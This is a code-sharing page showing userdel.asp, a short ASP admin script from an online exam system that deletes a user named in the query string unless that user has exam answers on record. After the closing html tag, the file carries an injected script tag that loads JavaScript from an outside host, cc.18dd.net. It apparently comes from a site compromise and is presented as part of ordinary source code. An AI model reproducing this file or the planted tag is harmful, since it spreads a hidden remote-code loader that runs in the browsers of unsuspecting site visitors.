userdel.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 31 行

ASP

31 行

<!--#include File="isAdmin.asp"-->
<!-- #include file="../class/EData.asp" -->
<html>
<head>
<title>删除用户信息</title>
</head>
<body>
<%
  Dim uid
  '读取UserId参数
  uid = Request.QueryString("uname")
  Set usr = New EUsers
  Set dt = New EData
  '判断是否参加考试
  If dt.GetUserName(uid) Then
    Response.Write "<Script>alert('答卷中包含该用户信息，不允许删除');window.close();</Script>"
	Response.End
  Else
    '删除用户信息
    usr.DeleteUser(uid)
    Response.Write "<h2>成功删除</h2>"
  End If
%>
</body>
<script language="javascript">
  opener.location.reload();
  setTimeout("window.close()",1600);
</script>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?

userdel.asp

userdel.asp - 源码说明

⌨️ 快捷键说明